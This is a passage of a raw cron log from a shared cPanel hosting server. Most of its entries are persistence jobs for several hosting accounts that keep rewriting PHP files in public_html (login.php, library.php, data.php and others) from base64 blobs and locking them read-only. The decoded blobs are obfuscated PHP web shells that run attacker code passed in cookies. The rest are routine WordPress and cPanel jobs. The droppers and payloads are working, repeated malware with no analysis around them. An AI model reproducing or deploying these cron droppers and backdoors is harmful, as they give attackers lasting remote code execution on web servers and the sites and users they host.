"$fp"; fi; chmod 444 "$fp")
Mar  1 04:12:01 medusa CROND[6920]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:12:01 medusa CROND[6923]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:12:01 medusa CROND[6924]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:12:01 medusa CROND[6926]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:12:01 medusa CROND[6925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:12:01 medusa CROND[6927]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:12:01 medusa CROND[6941]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:12:01 medusa CROND[6940]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:13:02 medusa CROND[28480]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:13:02 medusa CROND[28564]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 04:13:02 medusa CROND[28565]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:13:02 medusa CROND[28566]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:13:02 medusa CROND[28567]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:13:02 medusa CROND[28568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:13:02 medusa CROND[28571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:13:02 medusa CROND[28573]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:13:02 medusa CROND[28576]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:13:02 medusa CROND[28574]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:13:02 medusa CROND[28578]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:13:02 medusa CROND[28585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:13:02 medusa CROND[28587]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:13:02 medusa CROND[28592]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 04:14:01 medusa CROND[16885]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:14:01 medusa CROND[16886]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:14:01 medusa CROND[16888]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:14:01 medusa CROND[16890]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:14:01 medusa CROND[16891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:14:01 medusa CROND[16892]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:14:01 medusa CROND[16893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:14:01 medusa CROND[16894]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:14:01 medusa CROND[16897]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 